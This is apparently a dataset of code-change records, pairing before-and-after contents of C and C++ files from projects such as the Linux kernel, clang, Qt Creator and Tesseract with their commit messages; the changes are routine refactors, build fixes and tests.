{"commit":"b340587e68b479e52039f800d7c60abd417e1975","old_file":"arch\/powerpc\/sysdev\/mpc5xxx_clocks.c","new_file":"arch\/powerpc\/sysdev\/mpc5xxx_clocks.c","old_contents":"\/**\n * \tmpc5xxx_get_bus_frequency - Find the bus frequency for a device\n * \t@node:\tdevice node\n *\n * \tReturns bus frequency (IPS on MPC512x, IPB on MPC52xx),\n * \tor 0 if the bus frequency cannot be found.\n *\/\n\n#include <linux\/kernel.h>\n#include <linux\/of_platform.h>\n#include <linux\/export.h>\n#include <asm\/mpc5xxx.h>\n\nunsigned long mpc5xxx_get_bus_frequency(struct device_node *node)\n{\n\tstruct device_node *np;\n\tconst unsigned int *p_bus_freq = NULL;\n\n\tof_node_get(node);\n\twhile (node) {\n\t\tp_bus_freq = of_get_property(node, \"bus-frequency\", NULL);\n\t\tif (p_bus_freq)\n\t\t\tbreak;\n\n\t\tnp = of_get_parent(node);\n\t\tof_node_put(node);\n\t\tnode = np;\n\t}\n\tof_node_put(node);\n\n\treturn p_bus_freq ? *p_bus_freq : 0;\n}\nEXPORT_SYMBOL(mpc5xxx_get_bus_frequency);\n","new_contents":"\/**\n * \tmpc5xxx_get_bus_frequency - Find the bus frequency for a device\n * \t@node:\tdevice node\n *\n * \tReturns bus frequency (IPS on MPC512x, IPB on MPC52xx),\n * \tor 0 if the bus frequency cannot be found.\n *\/\n\n#include <linux\/kernel.h>\n#include <linux\/of_platform.h>\n#include <linux\/export.h>\n#include <asm\/mpc5xxx.h>\n\nunsigned long mpc5xxx_get_bus_frequency(struct device_node *node)\n{\n\tconst unsigned int *p_bus_freq = NULL;\n\n\tof_node_get(node);\n\twhile (node) {\n\t\tp_bus_freq = of_get_property(node, \"bus-frequency\", NULL);\n\t\tif (p_bus_freq)\n\t\t\tbreak;\n\n\t\tnode = of_get_next_parent(node);\n\t}\n\tof_node_put(node);\n\n\treturn p_bus_freq ? *p_bus_freq : 0;\n}\nEXPORT_SYMBOL(mpc5xxx_get_bus_frequency);\n","subject":"Use of_get_next_parent to simplify code","message":"powerpc\/mpc5xxx: Use of_get_next_parent to simplify code\n\nof_get_next_parent can be used to simplify the while() loop and\navoid the need of a temp variable.\n\nSigned-off-by: Christophe JAILLET <aa5b4d6ac057e7b0849afbbced06a03fc6c87d45@wanadoo.fr>\nSigned-off-by: Michael Ellerman <864f124608374e06e4da1fa5d2e47ed839b95411@ellerman.id.au>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs"}
{"commit":"5395ef04e96e5db3e86b11d362a9566d779a590d","old_file":"test\/CodeGen\/bitfield.c","new_file":"test\/CodeGen\/bitfield.c","old_contents":"\/\/ RUN: clang %s -emit-llvm -o - > %t1\n\/\/ RUN: grep \"shl i32 %tmp, 19\" %t1 &&\n\/\/ RUN: grep \"ashr i32 %tmp1, 19\" %t1 &&\n\/\/ RUN: grep \"shl i16 %tmp4, 1\" %t1 &&\n\/\/ RUN: grep \"lshr i16 %tmp5, 9\" %t1 &&\n\/\/ RUN: grep \"and i32 %tmp, -8192\" %t1 &&\n\/\/ RUN: grep \"and i16 %tmp5, -32513\" %t1 &&\n\/\/ RUN: grep \"getelementptr (i32\\* bitcast (.struct.STestB2\\* @stb2 to i32\\*), i32 1)\" %t1\n\/\/ Test bitfield access\n\n\nstruct STestB1 { int a:13; char b; unsigned short c:7;} stb1;\nstruct STestB2 { short a[3]; int b:15} stb2;\n\nint f() {\n  return stb1.a + stb1.b + stb1.c;\n}\n\nvoid g() {\n  stb1.a = -40;\n  stb1.b = 10;\n  stb1.c = 15;\n}\n\nint h() {\n  return stb2.a[1] + stb2.b;\n}\n\nvoid i(){\n  stb2.a[2] = -40;\n  stb2.b = 10;\n}\n","new_contents":"\/\/ RUN: clang %s -emit-llvm -o - > %t1\n\/\/ RUN: grep \"shl i32 .*, 19\" %t1 &&\n\/\/ RUN: grep \"ashr i32 .*, 19\" %t1 &&\n\/\/ RUN: grep \"shl i16 .*, 1\" %t1 &&\n\/\/ RUN: grep \"lshr i16 .*, 9\" %t1 &&\n\/\/ RUN: grep \"and i32 .*, -8192\" %t1 &&\n\/\/ RUN: grep \"and i16 .*, -32513\" %t1 &&\n\/\/ RUN: grep \"getelementptr (i32\\* bitcast (.struct.STestB2\\* @stb2 to i32\\*), i32 1)\" %t1\n\/\/ Test bitfield access\n\n\nstruct STestB1 { int a:13; char b; unsigned short c:7;} stb1;\nstruct STestB2 { short a[3]; int b:15} stb2;\n\nint f() {\n  return stb1.a + stb1.b + stb1.c;\n}\n\nvoid g() {\n  stb1.a = -40;\n  stb1.b = 10;\n  stb1.c = 15;\n}\n\nint h() {\n  return stb2.a[1] + stb2.b;\n}\n\nvoid i(){\n  stb2.a[2] = -40;\n  stb2.b = 10;\n}\n","subject":"Make this test actually pass, in addition to the previous patch which made it work.","message":"Make this test actually pass, in addition to the previous patch \nwhich made it work.\n\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@52382 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang"}
{"commit":"01913372e8b7a8314cba41c329464bc3d355b477","old_file":"modules\/acct_rtcp_hep\/_acct_rtcp_hep_config.h","new_file":"modules\/acct_rtcp_hep\/_acct_rtcp_hep_config.h","old_contents":"static struct hep_ctx ctx = {\n        .initfails = 0,\n        .hints = {{ 0 }},\n        .capt_host  = \"10.0.0.1\",\n        .capt_port  = \"9060\",\n        .hints = {{ .ai_socktype = SOCK_DGRAM }},\n        .capt_id = 101,\n        .hep_version = 3,\n        .usessl = 0,\n        .pl_compress = 0,\n        .sendPacketsCount = 0\n};\n","new_contents":"static struct hep_ctx ctx = {\n        .initfails = 0,\n        .hints = {{ .ai_socktype = SOCK_DGRAM }},\n        .capt_host  = \"10.0.0.1\",\n        .capt_port  = \"9060\",\n        .capt_id = 101,\n        .hep_version = 3,\n        .usessl = 0,\n        .pl_compress = 0,\n        .sendPacketsCount = 0\n};\n","subject":"Move .hints definition in place.","message":"Move .hints definition in place.\n","lang":"C","license":"bsd-2-clause","repos":"dsanders11\/rtpproxy,dsanders11\/rtpproxy,sippy\/rtpproxy,sippy\/rtpproxy,sippy\/rtpproxy,dsanders11\/rtpproxy"}
{"commit":"467a9220714dbd8a03e7bd058c3ee062e2256ad3","old_file":"gp11\/tests\/gp11-test.h","new_file":"gp11\/tests\/gp11-test.h","old_contents":"#ifndef TESTGP11HELPERS_H_\n#define TESTGP11HELPERS_H_\n\n#include \"gp11.h\"\n\n#define FAIL_RES(res, e) do { \\\n\tg_assert ((res) ? FALSE : TRUE); \\\n\tg_assert ((e) && (e)->message && \"error should be set\"); \\\n\tg_clear_error (&e); \\\n\t} while (0)\n\n#define SUCCESS_RES(res, err) do { \\\n\tif (!(res)) g_printerr (\"error: %s\\n\", err && err->message ? err->message : \"\"); \\\n\tg_assert ((res) ? TRUE : FALSE && \"should have succeeded\"); \\\n\tg_clear_error (&err); \\\n\t} while(0)\n\n\n#define WAIT_UNTIL(cond) \\\n\twhile(!cond) g_main_iteration (TRUE);\n\n#endif \/*TESTGP11HELPERS_H_*\/\n","new_contents":"#ifndef TESTGP11HELPERS_H_\n#define TESTGP11HELPERS_H_\n\n#include \"gp11.h\"\n\n#define FAIL_RES(res, e) do { \\\n\tg_assert ((res) ? FALSE : TRUE); \\\n\tg_assert ((e) && (e)->message && \"error should be set\"); \\\n\tg_clear_error (&e); \\\n\t} while (0)\n\n#define SUCCESS_RES(res, err) do { \\\n\tif (!(res)) g_printerr (\"error: %s\\n\", err && err->message ? err->message : \"\"); \\\n\tg_assert ((res) ? TRUE : FALSE && \"should have succeeded\"); \\\n\tg_clear_error (&err); \\\n\t} while(0)\n\n\n#define WAIT_UNTIL(cond) \\\n\twhile(!cond) g_main_context_iteration (NULL, TRUE);\n\n#endif \/*TESTGP11HELPERS_H_*\/\n","subject":"Remove usage of deprecated glib stuff.","message":"Remove usage of deprecated glib stuff.\n\n\t* configure.in: \n\t* gp11\/tests\/gp11-test.h:\n\t* common\/gkr-location.c: Remove usage of deprecated glib stuff. \n\nsvn path=\/trunk\/; revision=1362\n","lang":"C","license":"lgpl-2.1","repos":"Distrotech\/gcr,Distrotech\/gcr,stefwalter\/gcr,stefwalter\/gcr,stefwalter\/gcr,Distrotech\/gcr,stefwalter\/gcr,Distrotech\/gcr"}
{"commit":"5e575839c8ac91262a171e51e3c188532d8802b9","old_file":"init\/main.c","new_file":"init\/main.c","old_contents":"","new_contents":"\/*\n * Common kernel entry point.\n *\/\n\n#include <multiboot.h>\n#include <types.h>\n\n\/*\n * This function is called by the architecture-specific boot proceedure, and\n * defines the entry to the euclid kernel.\n *\/\nint k_main(struct multiboot *mboot, u32 stack);\n\nint k_main(struct multiboot *mboot, u32 stack)\n{\n\t\/* For now let's just push a value to EAX (x86). *\/\n\treturn (int)0xABCDEFCC;\n}\n","subject":"Add a common kernel entry point","message":"init: Add a common kernel entry point\n","lang":"C","license":"mit","repos":"ChrisCummins\/euclid,ChrisCummins\/euclid,ChrisCummins\/euclid"}
{"commit":"a261efe40af92ed1548d50a9997469ce5b4eab14","old_file":"src\/csapex_remote\/include\/csapex\/io\/session_client.h","new_file":"src\/csapex_remote\/include\/csapex\/io\/session_client.h","old_contents":"#ifndef SESSION_CLIENT_H\n#define SESSION_CLIENT_H\n\n\/\/\/ PROJECT\n#include <csapex\/io\/session.h>\n\n\/\/\/ SYSTEM\n#include <boost\/asio.hpp>\n\nnamespace csapex\n{\nclass SessionClient : public Session\n{\npublic:\n    SessionClient(const std::string& ip, int port);\n    ~SessionClient() override;\n\n    std::string getDescription() const override;\n\n    void run() override;\n    void shutdown() override;\n\n    bool isRunning() const override;\n\nprivate:\n    boost::asio::io_service io_service;\n    boost::asio::ip::tcp::socket socket_impl;\n    boost::asio::ip::tcp::resolver resolver;\n    boost::asio::ip::tcp::resolver::iterator resolver_iterator;\n\n    bool io_service_running_;\n\n    std::string ip_;\n    int port_;\n};\n\n}  \/\/ namespace csapex\n\n#endif  \/\/ SESSION_CLIENT_H\n","new_contents":"#ifndef SESSION_CLIENT_H\n#define SESSION_CLIENT_H\n\n\/\/\/ PROJECT\n#include <csapex\/io\/session.h>\n\n\/\/\/ SYSTEM\n#include <boost\/asio.hpp>\n#include <boost\/version.hpp>\n\nnamespace csapex\n{\nclass SessionClient : public Session\n{\npublic:\n    SessionClient(const std::string& ip, int port);\n    ~SessionClient() override;\n\n    std::string getDescription() const override;\n\n    void run() override;\n    void shutdown() override;\n\n    bool isRunning() const override;\n\nprivate:\n    boost::asio::io_service io_service;\n    boost::asio::ip::tcp::socket socket_impl;\n    boost::asio::ip::tcp::resolver resolver;\n#if (BOOST_VERSION \/ 100000) >= 1 && (BOOST_VERSION \/ 100 % 1000) >= 66\n    boost::asio::ip::tcp::resolver::endpoint_type resolver_iterator;\n#else\n    \/\/ deprecated in boost 1.66\n    boost::asio::ip::tcp::resolver::iterator resolver_iterator;\n#endif\n\n    bool io_service_running_;\n\n    std::string ip_;\n    int port_;\n};\n\n}  \/\/ namespace csapex\n\n#endif  \/\/ SESSION_CLIENT_H\n","subject":"Fix depracted boost asio types","message":"Fix depracted boost asio types\n","lang":"C","license":"bsd-3-clause","repos":"cogsys-tuebingen\/csapex,cogsys-tuebingen\/csapex,cogsys-tuebingen\/csapex,cogsys-tuebingen\/csapex"}
{"commit":"6e5e7e6aef66653731d79e23d3cf46f464216687","old_file":"src\/engine\/utils\/include\/halley\/utils\/type_traits.h","new_file":"src\/engine\/utils\/include\/halley\/utils\/type_traits.h","old_contents":"#pragma once\n\n#include <type_traits>\n\nnamespace Halley\n{\n\t\/\/ is_detected_v is based on https:\/\/en.cppreference.com\/w\/cpp\/experimental\/is_detected\n\n\tnamespace detail {\n\t    template<template<class...> class Expr, class... Args>\n\t    std::false_type is_detected_impl(...);\n\n\t    template<template<class...> class Expr, class... Args>\n\t    std::true_type is_detected_impl(std::void_t<Expr<Args...>>*);\n\t}\n\n\ttemplate<template<class...> class Expr, class... Args>\n\tusing is_detected = decltype(detail::is_detected_impl<Expr, Args...>(nullptr));\n\n\ttemplate<template<class...> class Expr, class... Args>\n\tconstexpr bool is_detected_v = is_detected<Expr, Args...>::value;\n}\n","new_contents":"#pragma once\n\n#include <type_traits>\n\nnamespace Halley\n{\n\t\/\/ is_detected_v is based on https:\/\/en.cppreference.com\/w\/cpp\/experimental\/is_detected\n\n\tstruct nonesuch {\n\t    ~nonesuch() = delete;\n\t    nonesuch(nonesuch const&) = delete;\n\t    void operator=(nonesuch const&) = delete;\n\t};\n\n\tnamespace detail {\n\t\ttemplate <class Default, class AlwaysVoid, template<class...> class Op, class... Args>\n\t\tstruct detector {\n\t\t\tusing value_t = std::false_type;\n\t\t\tusing type = Default;\n\t\t};\n\t\t \n\t\ttemplate <class Default, template<class...> class Op, class... Args>\n\t\tstruct detector<Default, std::void_t<Op<Args...>>, Op, Args...> {\n\t\t\tusing value_t = std::true_type;\n\t\t\tusing type = Op<Args...>;\n\t\t};\n\t}\n\t \n\ttemplate <template<class...> class Op, class... Args>\n\tusing is_detected = typename detail::detector<nonesuch, void, Op, Args...>::value_t;\n\t\n\ttemplate<template<class...> class Expr, class... Args>\n\tconstexpr bool is_detected_v = is_detected<Expr, Args...>::value;\n}\n","subject":"Replace implementation of is_detected with one that works with gcc","message":"Replace implementation of is_detected with one that works with gcc\n","lang":"C","license":"apache-2.0","repos":"amzeratul\/halley,amzeratul\/halley,amzeratul\/halley"}
{"commit":"40042b55d410a8c0adfb7a5b1ee27c55a72a731d","old_file":"src\/clientversion.h","new_file":"src\/clientversion.h","old_contents":"#ifndef CLIENTVERSION_H\n#define CLIENTVERSION_H\n\n\/\/\n\/\/ client versioning and copyright year\n\/\/\n\n\/\/ These need to be macros, as version.cpp's and bitcoin-qt.rc's voodoo requires it\n#define CLIENT_VERSION_MAJOR       0\n#define CLIENT_VERSION_MINOR       9\n#define CLIENT_VERSION_REVISION    3\n#define CLIENT_VERSION_BUILD       0\n\n\/\/ Set to true for release, false for prerelease or test build\n#define CLIENT_VERSION_IS_RELEASE  true\n\n\/\/ Copyright year (2009-this)\n\/\/ Todo: update this when changing our copyright comments in the source\n#define COPYRIGHT_YEAR 2013\n\n\/\/ Converts the parameter X to a string after macro replacement on X has been performed.\n\/\/ Don't merge these into one macro!\n#define STRINGIZE(X) DO_STRINGIZE(X)\n#define DO_STRINGIZE(X) #X\n\n#endif \/\/ CLIENTVERSION_H\n","new_contents":"#ifndef CLIENTVERSION_H\n#define CLIENTVERSION_H\n\n\/\/\n\/\/ client versioning and copyright year\n\/\/\n\n\/\/ These need to be macros, as version.cpp's and bitcoin-qt.rc's voodoo requires it\n#define CLIENT_VERSION_MAJOR       0\n#define CLIENT_VERSION_MINOR       9\n#define CLIENT_VERSION_REVISION    5\n#define CLIENT_VERSION_BUILD       0\n\n\/\/ Set to true for release, false for prerelease or test build\n#define CLIENT_VERSION_IS_RELEASE  true\n\n\/\/ Copyright year (2009-this)\n\/\/ Todo: update this when changing our copyright comments in the source\n#define COPYRIGHT_YEAR 2014\n\n\/\/ Converts the parameter X to a string after macro replacement on X has been performed.\n\/\/ Don't merge these into one macro!\n#define STRINGIZE(X) DO_STRINGIZE(X)\n#define DO_STRINGIZE(X) #X\n\n#endif \/\/ CLIENTVERSION_H\n","subject":"Update client version to 0.9.5","message":"Update client version to 0.9.5\n","lang":"C","license":"mit","repos":"coinkeeper\/2015-06-22_18-49_unobtanium,unobtanium-official\/Unobtanium,unobtanium-official\/Unobtanium,coinkeeper\/2015-06-22_18-49_unobtanium,coinkeeper\/2015-06-22_18-49_unobtanium,coinkeeper\/2015-06-22_18-49_unobtanium,unobtanium-official\/Unobtanium,coinkeeper\/2015-06-22_18-49_unobtanium,unobtanium-official\/Unobtanium,coinkeeper\/2015-06-22_18-49_unobtanium,unobtanium-official\/Unobtanium,unobtanium-official\/Unobtanium"}
{"commit":"6fc8ed69f82ff21ee5e0d43971da884c2fb00e71","old_file":"tests\/regression\/36-octapron\/17-traces-rpb-litmus.c","new_file":"tests\/regression\/36-octapron\/17-traces-rpb-litmus.c","old_contents":"","new_contents":"\/\/ PARAM: --sets ana.activated[+] octApron\n#include <pthread.h>\n#include <assert.h>\n\nint g = 42; \/\/ matches write in t_fun\npthread_mutex_t A = PTHREAD_MUTEX_INITIALIZER;\npthread_mutex_t B = PTHREAD_MUTEX_INITIALIZER;\n\nvoid *t_fun(void *arg) {\n  pthread_mutex_lock(&A);\n  pthread_mutex_lock(&B);\n  g = 42;\n  pthread_mutex_unlock(&B);\n  pthread_mutex_unlock(&A);\n  return NULL;\n}\n\nint main(void) {\n  int r, t;\n\n  pthread_t id;\n  pthread_create(&id, NULL, t_fun, NULL);\n\n  pthread_mutex_lock(&A);\n  pthread_mutex_lock(&B);\n  if (r) {\n    g = 17;\n    pthread_mutex_unlock(&B); \/\/ publish to g#prot\n    pthread_mutex_lock(&B);\n  }\n  \/\/ locally written g is only in one branch, g == g#prot should be forgotten!\n  t = g;\n  assert(t == 17); \/\/ UNKNOWN!\n  pthread_mutex_unlock(&B);\n  pthread_mutex_unlock(&A);\n  return 0;\n}\n","subject":"Add relational protection-based litmus test","message":"Add relational protection-based litmus test\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"68722936310358dbba2342366e72f0777c2d0ab5","old_file":"clacksd\/src\/transport-server\/cl_discovery_thread.c","new_file":"clacksd\/src\/transport-server\/cl_discovery_thread.c","old_contents":"#include <syslog.h>\n#include \"cl_discovery.h\"\n\n#include \"cl_discovery_thread.h\"\n\nvoid * start_discovery(void * args) {\n  syslog(LOG_INFO, \"started discovery thread\");\n  for (;;) {\n    continue;\n  }\n}\n","new_contents":"#include <stdlib.h>\n#include <syslog.h>\n#include \"cl_discovery.h\"\n\n#include \"cl_discovery_thread.h\"\n\nvoid * start_discovery(void * args) {\n  syslog(LOG_INFO, \"started discovery thread\");\n\n  for (;;) {\n    struct CL_Discovery_Transport *discovered_transport = malloc(sizeof(struct CL_Discovery_Transport));\n    wait_for_transport(discovered_transport);\n  }\n}\n","subject":"Call into the discovery function and wait for someone to say hi","message":"Call into the discovery function and wait for someone to say hi\n","lang":"C","license":"mit","repos":"jamessnee\/clacks,jamessnee\/clacks,jamessnee\/clacks"}
{"commit":"d7ff518be4c835e1af2fc80ae8c877460648ab71","old_file":"Code\/BasicFilters\/otbLocalGradientVectorImageFilter.h","new_file":"Code\/BasicFilters\/otbLocalGradientVectorImageFilter.h","old_contents":"","new_contents":"\/*=========================================================================\n\n  Program:   ORFEO Toolbox\n  Language:  C++\n  Date:      $Date$\n  Version:   $Revision$\n\n\n  Copyright (c) Centre National d'Etudes Spatiales. All rights reserved.\n  See OTBCopyright.txt for details.\n\n\n     This software is distributed WITHOUT ANY WARRANTY; without even\n     the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n     PURPOSE.  See the above copyright notices for more information.\n\n=========================================================================*\/\n#ifndef __otbLocalGradientVectorImageFilter_h\n#define __otbLocalGradientVectorImageFilter_h\n\n#include \"otbUnaryFunctorNeighborhoodVectorImageFilter.h\"\n\n#include <itkNumericTraits.h>\n\nnamespace otb\n{\n\nnamespace Functor\n{\n\/** \\class LocalGradientOperator\n * \\brief Performs the calculation of LocalGradient derivation\n *\/\ntemplate < class TInput, class TOutput >\nclass LocalGradientOperator\n{\npublic:\n  LocalGradientOperator() { }\n  virtual ~LocalGradientOperator() { }\n\n  TOutput operator() ( const TInput & input )\n  {\n    \/*\n     * it is assumed that input and output have the same size\n     *\/\n    unsigned int length = input.GetPixel(0).Size();\n    TOutput output ( length );\n    for ( unsigned int i = 0; i < length; i++ )\n    {\n      output[i] = static_cast<typename TOutput::ValueType>(\n                  input.GetPixel(4)[i] \n                  - input.GetPixel(5)[i] \/ 2.\n                  - input.GetPixel(7)[i] \/ 2. );\n    }\n    return output;\n  }\n}; \/\/ end of functor class\n\n} \/\/ end of namespace Functor\n\n\/** \\class LocalGradientVectorImageFilter\n * \\brief Implements the 3x3 Local Gradient to be processed on a vector image\n *\/\ntemplate < class TInputImage, class TOutputImage >\nclass ITK_EXPORT LocalGradientVectorImageFilter\n  : public UnaryFunctorNeighborhoodVectorImageFilter< TInputImage, TOutputImage,\n            Functor::LocalGradientOperator< \n              typename itk::ConstNeighborhoodIterator<TInputImage>,\n              typename TOutputImage::PixelType > > \n{\npublic:\n  \/** Standart class typedefs *\/\n  typedef LocalGradientVectorImageFilter Self;\n  typedef UnaryFunctorNeighborhoodVectorImageFilter< TInputImage, TOutputImage,\n            Functor::LocalGradientOperator< \n              typename itk::ConstNeighborhoodIterator<TInputImage>,\n              typename TOutputImage::PixelType > >  Superclass;\n  typedef itk::SmartPointer<Self> Pointer;\n  typedef itk::SmartPointer<const Self> ConstPointer;\n\n  \/** Method for creation through the object factory. *\/\n  itkNewMacro(Self);\n\n  \/** Creation through object factory macro *\/\n  itkTypeMacro(LocalGradientVectorImageFilter, ImageToImageFilter);\n\nprotected:\n  LocalGradientVectorImageFilter() { }\n  virtual ~LocalGradientVectorImageFilter() { }\n\nprivate:\n  LocalGradientVectorImageFilter( const Self & ); \/\/ Not implemented\n  void operator=( const Self & ); \/\/ Not implemented\n}; \/\/ end of class\n\n} \/\/ end of namespace otb\n\n\n#endif \/\/ __otbLocalGradientVectorImageFilter_h\n","subject":"ADD Local Gardient (really high pass)","message":"ADD Local Gardient (really high pass)\n","lang":"C","license":"apache-2.0","repos":"orfeotoolbox\/OTB,orfeotoolbox\/OTB,orfeotoolbox\/OTB,orfeotoolbox\/OTB,orfeotoolbox\/OTB,orfeotoolbox\/OTB"}
{"commit":"9dfc4f8efb20c07e111c556843f914376187ba13","old_file":"src\/plugins\/find\/searchresultcolor.h","new_file":"src\/plugins\/find\/searchresultcolor.h","old_contents":"#ifndef SEARCHRESULTCOLOR_H\n#define SEARCHRESULTCOLOR_H\n\n#include <QColor>\n\nnamespace Find {\nnamespace Internal {\n\nstruct SearchResultColor{\n    QColor textBackground;\n    QColor textForeground;\n    QColor highlightBackground;\n    QColor highlightForeground;\n};\n\n} \/\/ namespace Internal\n} \/\/ namespace Find\n\n#endif \/\/ SEARCHRESULTCOLOR_H\n","new_contents":"#ifndef SEARCHRESULTCOLOR_H\n#define SEARCHRESULTCOLOR_H\n\n#include <QColor>\n\nnamespace Find {\nnamespace Internal {\n\nclass SearchResultColor{\npublic:\n    QColor textBackground;\n    QColor textForeground;\n    QColor highlightBackground;\n    QColor highlightForeground;\n};\n\n} \/\/ namespace Internal\n} \/\/ namespace Find\n\n#endif \/\/ SEARCHRESULTCOLOR_H\n","subject":"Fix warning about struct\/class mismatch","message":"Fix warning about struct\/class mismatch\n\nChange-Id: I832ea6ebf078e533623fb748809dd71b5abfb645\nReviewed-by: Eike Ziller <c142da16c73a95a82d35191bcc55b22835617128@digia.com>\n","lang":"C","license":"lgpl-2.1","repos":"danimo\/qt-creator,darksylinc\/qt-creator,kuba1\/qtcreator,amyvmiwei\/qt-creator,martyone\/sailfish-qtcreator,xianian\/qt-creator,amyvmiwei\/qt-creator,maui-packages\/qt-creator,darksylinc\/qt-creator,xianian\/qt-creator,richardmg\/qtcreator,colede\/qtcreator,danimo\/qt-creator,duythanhphan\/qt-creator,kuba1\/qtcreator,duythanhphan\/qt-creator,danimo\/qt-creator,AltarBeastiful\/qt-creator,amyvmiwei\/qt-creator,Distrotech\/qtcreator,danimo\/qt-creator,AltarBeastiful\/qt-creator,martyone\/sailfish-qtcreator,maui-packages\/qt-creator,martyone\/sailfish-qtcreator,xianian\/qt-creator,danimo\/qt-creator,duythanhphan\/qt-creator,maui-packages\/qt-creator,malikcjm\/qtcreator,xianian\/qt-creator,omniacreator\/qtcreator,darksylinc\/qt-creator,martyone\/sailfish-qtcreator,darksylinc\/qt-creator,xianian\/qt-creator,Distrotech\/qtcreator,martyone\/sailfish-qtcreator,xianian\/qt-creator,AltarBeastiful\/qt-creator,amyvmiwei\/qt-creator,kuba1\/qtcreator,Distrotech\/qtcreator,farseerri\/git_code,xianian\/qt-creator,darksylinc\/qt-creator,AltarBeastiful\/qt-creator,amyvmiwei\/qt-creator,colede\/qtcreator,AltarBeastiful\/qt-creator,richardmg\/qtcreator,colede\/qtcreator,richardmg\/qtcreator,farseerri\/git_code,duythanhphan\/qt-creator,darksylinc\/qt-creator,richardmg\/qtcreator,malikcjm\/qtcreator,xianian\/qt-creator,AltarBeastiful\/qt-creator,martyone\/sailfish-qtcreator,malikcjm\/qtcreator,maui-packages\/qt-creator,danimo\/qt-creator,AltarBeastiful\/qt-creator,colede\/qtcreator,maui-packages\/qt-creator,omniacreator\/qtcreator,farseerri\/git_code,malikcjm\/qtcreator,colede\/qtcreator,Distrotech\/qtcreator,Distrotech\/qtcreator,malikcjm\/qtcreator,Distrotech\/qtcreator,darksylinc\/qt-creator,martyone\/sailfish-qtcreator,kuba1\/qtcreator,amyvmiwei\/qt-creator,duythanhphan\/qt-creator,farseerri\/git_code,kuba1\/qtcreator,kuba1\/qtcreator,farseerri\/git_code,kuba1\/qtcreator,farseerri\/git_code,omniacreator\/qtcreator,amyvmiwei\/qt-creator,farseerri\/git_code,maui-packages\/qt-creator,richardmg\/qtcreator,omniacreator\/qtcreator,omniacreator\/qtcreator,richardmg\/qtcreator,omniacreator\/qtcreator,AltarBeastiful\/qt-creator,danimo\/qt-creator,kuba1\/qtcreator,Distrotech\/qtcreator,malikcjm\/qtcreator,richardmg\/qtcreator,amyvmiwei\/qt-creator,xianian\/qt-creator,duythanhphan\/qt-creator,farseerri\/git_code,kuba1\/qtcreator,danimo\/qt-creator,duythanhphan\/qt-creator,danimo\/qt-creator,martyone\/sailfish-qtcreator,colede\/qtcreator,darksylinc\/qt-creator,maui-packages\/qt-creator,martyone\/sailfish-qtcreator,colede\/qtcreator,omniacreator\/qtcreator,malikcjm\/qtcreator"}
{"commit":"612ff9b7e8e738c3a1a267d477ad7a39488fc97e","old_file":"src\/ccutil\/tprintf.h","new_file":"src\/ccutil\/tprintf.h","old_contents":"\/**********************************************************************\n * File:        tprintf.h\n * Description: Trace version of printf - portable between UX and NT\n * Author:      Phil Cheatle\n *\n * (C) Copyright 1995, Hewlett-Packard Ltd.\n ** Licensed under the Apache License, Version 2.0 (the \"License\");\n ** you may not use this file except in compliance with the License.\n ** You may obtain a copy of the License at\n ** http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n ** Unless required by applicable law or agreed to in writing, software\n ** distributed under the License is distributed on an \"AS IS\" BASIS,\n ** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n ** See the License for the specific language governing permissions and\n ** limitations under the License.\n *\n **********************************************************************\/\n\n#ifndef TESSERACT_CCUTIL_TPRINTF_H\n#define TESSERACT_CCUTIL_TPRINTF_H\n\n#include \"params.h\" \/\/ for BOOL_VAR_H\n#include <tesseract\/export.h> \/\/ for TESS_API\n\nnamespace tesseract {\n\n\/\/ Disable some log messages by setting log_level > 0.\nextern INT_VAR_H(log_level);\n\n\/\/ Main logging function.\nextern TESS_API void tprintf( \/\/ Trace printf\n    const char *format, ...); \/\/ Message\n\n} \/\/ namespace tesseract\n\n#endif \/\/ define TESSERACT_CCUTIL_TPRINTF_H\n","new_contents":"\/**********************************************************************\n * File:        tprintf.h\n * Description: Trace version of printf - portable between UX and NT\n * Author:      Phil Cheatle\n *\n * (C) Copyright 1995, Hewlett-Packard Ltd.\n ** Licensed under the Apache License, Version 2.0 (the \"License\");\n ** you may not use this file except in compliance with the License.\n ** You may obtain a copy of the License at\n ** http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n ** Unless required by applicable law or agreed to in writing, software\n ** distributed under the License is distributed on an \"AS IS\" BASIS,\n ** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n ** See the License for the specific language governing permissions and\n ** limitations under the License.\n *\n **********************************************************************\/\n\n#ifndef TESSERACT_CCUTIL_TPRINTF_H\n#define TESSERACT_CCUTIL_TPRINTF_H\n\n#include \"params.h\" \/\/ for BOOL_VAR_H\n#include <tesseract\/export.h> \/\/ for TESS_API\n\nnamespace tesseract {\n\n\/\/ Disable some log messages by setting log_level > 0.\nextern TESS_API INT_VAR_H(log_level);\n\n\/\/ Main logging function.\nextern TESS_API void tprintf( \/\/ Trace printf\n    const char *format, ...); \/\/ Message\n\n} \/\/ namespace tesseract\n\n#endif \/\/ define TESSERACT_CCUTIL_TPRINTF_H\n","subject":"Fix sw build error by using TESS_API for global variable log_level","message":"Fix sw build error by using TESS_API for global variable log_level\n\nSigned-off-by: Stefan Weil 